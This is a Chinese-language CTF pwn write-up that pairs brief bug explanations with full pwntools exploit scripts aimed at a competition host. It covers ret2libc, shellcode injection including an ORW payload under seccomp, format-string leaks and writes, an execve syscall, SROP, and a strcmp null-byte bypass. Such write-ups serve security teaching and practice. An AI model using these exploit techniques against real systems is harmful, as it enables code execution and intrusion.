ret2libc
直接溢出使用libc,但是必须要用题目给的libc文件才可以
很基础的题目
exp:
from pwn import *
elf = ELF("./ret2libc")
libc = ELF("./libc.so.6")
p = remote("47.97.58.52", 42003)
#p = process("./ret2libc")
rdi = 0x4012c3
ret = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["vuln"]
payload1 = b'a'*40 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)
puts_addr= u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload2 = b'a'*40 + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p.sendline(payload2)
p.interactive()
Shellcode-lv0
看到题目就知道了,是一个shellcode
看一下main函数
循环和随机数都没啥用,直接不执行去,滑到shellcode就可以了
exp:
from pwn import *
context(os='linux', arch='amd64')
p = remote('47.97.58.52', 42012)
shellcode = asm(shellcraft.sh())
payload = b'\x90'*156 + shellcode
p.sendline(payload)
p.interactive()
Shellcode-lv1
看一下主函数
read 读入0x100个字节,然后一个循环,没啥用,还有一个沙箱,使用seccomp-tools工具查看沙箱
沙箱禁止了,那么就利用一些别的shellcode,不能够用生成的了
这个汇编是直接读flag文件的,也可以用别的,看大家怎么写了
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote('47.97.58.52', 42013)
shellcode = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
push 257
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push 40
pop rax
syscall
''')
payload = b'\x90'*150 + shellcode
p.sendline(payload)
p.interactive()
ez_format
格式化字符串漏洞,保护全开主要思路是先泄露main 函数的地址(也可以泄露其他函数的地址,比如_start函数),通过main函数地址来计算出pie的基地址,然后得到bss段的flag的地址,然后将flag的地址写道栈上就可以泄露flag了
本地lib和远程libc不同,需要更换libc
如果没有这个命令可以直接去装一下
更换ld
patchelf --set-interpreter ld-linux-x86-64.so.2 ./pwn
更换libc
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn
然后我们看一下main函数
首先是打开了以一个flag文件,然后读出flag的内容,随后进入一个循环,read向buf读入0x20个字节。随后输出buf的内容,这里存在一个格式化字符串的漏洞
那么接下来就首先泄露main函数的地址,因为开启了pie,所以导致gdb下断点的方式也会改变,直接start运行,当程序输入的时候,输入aaaa,然后查看栈,发现是有main函数存在的地址的。
使用工具去泄露
这个命令是pwngdb里面的pwndbg是没有的,可以去装一下
然后根据算出来的去泄露main函数的地址
然后在mian函数中去找偏移地址,发现偏移地址是0x12f7
找到偏移地址那么pie的基地址就是main函数地址减去偏移地址
p.sendline('%17$p')
p.recvuntil('0x')
mian_addr = int(p.recv(12),16)
pie_addr = mian_addr - 0x12f7
这里就可以算出pie的基地址了,那么flag的地址就是pie的基地址加上偏移地址,这个偏移的地址也可以在ida里面寻找出来,然后最后就是把flag的地址写到栈上面,再利用printf打印的时候就会把flag打印出来
那么flag的地址就是
flag_addr = pie_addr + 0x40c0
最后利用打印,整体的exp
from pwn import *
context(arch='amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
p = remote('47.97.58.52',42001)
payload = b'%17$p'
#格式化字符串泄露main函数地址
p.send(payload)
p.recvuntil('0x')
main_addr = int(p.recv(12),16)
#接收main函数地址
pie_base = main_addr - 0x12f7
算出pie的基地址
flag_addr = pie_base + 0x40c0
#算出flag的地址
payload2 = b'%7$saaaa' + p64(flag_addr)
#利用打印
p.send(payload2)
p.interactive()
Syscall playgroun
保护全开
然后查看main函数
程序首先进入一个循环,然后给出题目,1,2,3,让用户选择一个选项。然后检查用户输入,如果是3就输出提示,要调用哪个syscall,让用户输入v5,然后利用memset函数把s内存清0,然后去条用syscall
如果这样有syscall调用的话就有思路了,可以直接去执行调用shell,因为是syscall用户的输入,所以可以直接尝试写shell
from pwn import *
context(arch = 'amd64',os = 'linux',log_level='debug')
p = remote('47.97.58.52',42010)
#定义函数menu,然后在接收到Your choice以后发送
def menu(ch):
p.sendlineafter(b'Your choice: ',str(ch).encode())
#定义函数 addr,接收参数 data
def add(data):
menu(1) #首先调用menu(1)发送1调用
p.recvuntil(b'located at ') #到这里为止去接收一个地址
addr = int(p.recvline().strip(),16)
p.sendafter(b'data: ',data) #到datd:以后,把用户的数据发送过去
return addr #返回addr解析出来的地址
#定义一个exec_syscall函数,接收cnt,args参数
def exec_syscall(cnt,args):
assert len(args) == cnt+1 #检查args列表的长度,是否等于 cnt+1
menu(3) #调用menu(3)
p.sendlineafter(b'call: ',str(args[0]).encode()) #发送args列表的第一位,就是系统调用号
p.sendlineafter(b'count:',str(cnt).encode()) #参数的个数
for i in range(cnt): #循环发送cnt的参数
p.sendlineafter(f'argument {i}:'.encode(),str(args[i+1]).encode())
if __name__ == '__main__':
exec_syscall(3,[59,add('/bin/sh\x00'),0,0]) #调用exec_syscall,发送bin,59是系统调用号execve
p.interactive()
SROP
没开什么保护
这个程序的样子在我之前发的文章中有类似的,大家可以去看看有什么区别
主要是要用到syscall;ret 在后面ret2syscall的时候使用
然后就是利用到SROP的方法了,大家可以去网上的文章看,这个攻击方法,主要就是可以控制所有的寄存器,加上这个程序没有开保护,所以可以更好的利用,一般这种题目如果没有给你jmp的话基本就是用SROP了
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('47.97.58.52', 42011)
syscall_ret = 0x40100A
payload = (b'a'*15).ljust(0x50,b"\x00") + p64(syscall_ret)
g1 = SigreturnFrame()
g1.rax = 0
g1.rdi = 0
g1.rsi = 0x402800
g1.rdx = 0x1000
g1.rip = syscall_ret
g1.rsp = 0x402800
payload += bytes(g1)
sleep(1)
p.send(payload)
sleep(1)
p.send(p64(0x401021))
sleep(1)
g2 = SigreturnFrame()
g2.rax = 59
g2.rdi = 0x4027c8
g2.rsi = 0
g2.rdx = 0
g2.rsp = 0x402800
g2.rip = syscall_ret
sleep(1)
payload2 = (b'a'*15 + b'\x00' + b'/bin/sh\x00').ljust(0x50,b'\x00')+p64(syscall_ret)+bytes(g2)
p.send(payload2)
p.interactive()
fmt2shellcode
这里是用mmap开了一个空间,然后进入一个循环,读0x20个字节到buf中,然后去检查buf中有没有stop,有的话就退出,然后输出buf中的,后面检测key是不是等于 26318864,如果是的话那么就读到开的可读可写可执行的地址中去,可以直接写shellcode
很标准的一个利用格式化字符串的方法就先泄露start的地址
然后再去算出pie的地址,接下来就可以利用格式化字符串了,泄露方法跟上面哪个一样,只不过函数不一样,上面泄露的是main函数,当然大家泄露其他函数也是可以的
from pwn import *
context(os='linux', arch='amd64')
p = remote('47.97.58.52', 42002)
mmap = 0x114514000
p.sendafter("something:",b'aaaabbbb%9$p')
p.recvuntil('bbbb')
pie = int(p.recv(14),16) - 0x1140
print("pie_base = ",hex(pie))
key = pie + 0x4068 #计算key的地址
payload1 = (b'%38928c' + b'%8$hn').ljust(0x10,b'a') + p64(key)
p.sendafter(b'something:',payload1)
payload2 = (b'%401c' + b'%8$hn').ljust(0x10,b'a') + p64(key + 0x2)
p.sendafter(b'something:',payload2)
p.sendafter(b'something:',b'stop\x00')
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
boom
也是保护全开
看一下main函数
read读入0x30个字节到buf中,然后检查buf中的内容,strcmp可以使用\x00进行绕过,就可以接着执行shell
这里有一个随机,所以写一个循环就可以了,试不出来多试几次就可以了
from pwn import *
context(os = 'linux',arch = 'amd64')
i = 0
while True:
p = remote('47.97.58.52',42000)
print('<<Times : ',hex(i))
p.sendafter('her thinking?',b'\x00'*0x30)
try:
p.recvuntil("WOW,you can get her!")
p.interactive()
except:
i = i + 1
p.close
continue